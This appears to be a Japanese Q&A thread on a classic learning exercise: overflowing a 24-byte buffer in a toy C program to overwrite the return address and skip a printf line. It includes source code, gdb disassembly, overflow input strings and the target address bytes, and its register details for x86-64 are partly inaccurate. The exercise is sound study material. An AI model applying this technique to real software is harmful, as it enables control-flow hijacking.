次のソースコードのバッファオーバーフローの脆弱性を利用する方法を見つけようとしているので、printf( "x is 1")という行はスキップされます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void func(char *str) {
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc, char **argv) {
int x;
x = 0;
func(argv[1]);
x = 1;
printf("x is 1");
printf("x is 0");
getchar();
}
これを行うために、「func」関数を変更します。リターンアドレスをスキップしたい行のすぐ後ろに変更するためにret変数を使用する必要があることはわかっていますが、実際にそれを行う方法がわかりません。
Gdbを使用することで、main関数で次の呼び出しを見つけることができました。
Temporary breakpoint 1, 0x00000000004005ec in main ()
(gdb) x/20i $pc
=> 0x4005ec <main+4>: sub $0x20,%rsp
0x4005f0 <main+8>: mov %edi,-0x14(%rbp)
0x4005f3 <main+11>: mov %rsi,-0x20(%rbp)
0x4005f7 <main+15>: movl $0x0,-0x4(%rbp)
0x4005fe <main+22>: mov -0x20(%rbp),%rax
0x400602 <main+26>: add $0x8,%rax
0x400606 <main+30>: mov (%rax),%rax
0x400609 <main+33>: mov %rax,%rdi
0x40060c <main+36>: callq 0x4005ac <func>
0x400611 <main+41>: movl $0x1,-0x4(%rbp)
0x400618 <main+48>: mov $0x4006ec,%edi
0x40061d <main+53>: mov $0x0,%eax
0x400622 <main+58>: callq 0x400470 <printf@plt>
0x400627 <main+63>: mov $0x4006f3,%edi
0x40062c <main+68>: mov $0x0,%eax
0x400631 <main+73>: callq 0x400470 <printf@plt>
0x400636 <main+78>: callq 0x400490 <getchar@plt>
0x40063b <main+83>: leaveq
0x40063c <main+84>: retq
0x40063d: nop
しかし、私はここからどこへ行くのか混乱しています。関数が0x400611の行に戻ることと、0x400631にジャンプさせる必要があることはわかっていますが、ジャンプするビット数を決定する方法がわかりません。私はinsecure.org/stf/smashstack.htmlからの例3に沿って試してみましたが、変数を調整するために何ビットを理解するかについて迷いました。何か助け?
すでに確認したように、アドレス0x400631に戻る必要があります。引数を使ってスタックを破壊するときは、EIPを制御する必要があります。すなわち:
./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 0x41414141が表示されます。次に、AのスタックのどこにEIPになる4バイトが配置されているかを判別する必要があります。 metasploitのpattern_create.rb/pattern_offset.rbのようなツールを使用することができます。または、これは非常に小さなバッファーであるため、手動で実行できます。
./a.out AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
そして、EIPのアドレスに基づいて、A(x41)、B(x42)、C(x43)などであるかどうかを判別できます。これにより、\ x31\x06\x40\x00の前に配置する必要があるバイト数がわかります。戻りアドレスがハードコードされているため、これはもちろん信頼できるエクスプロイトではありませんが、学習例には十分です。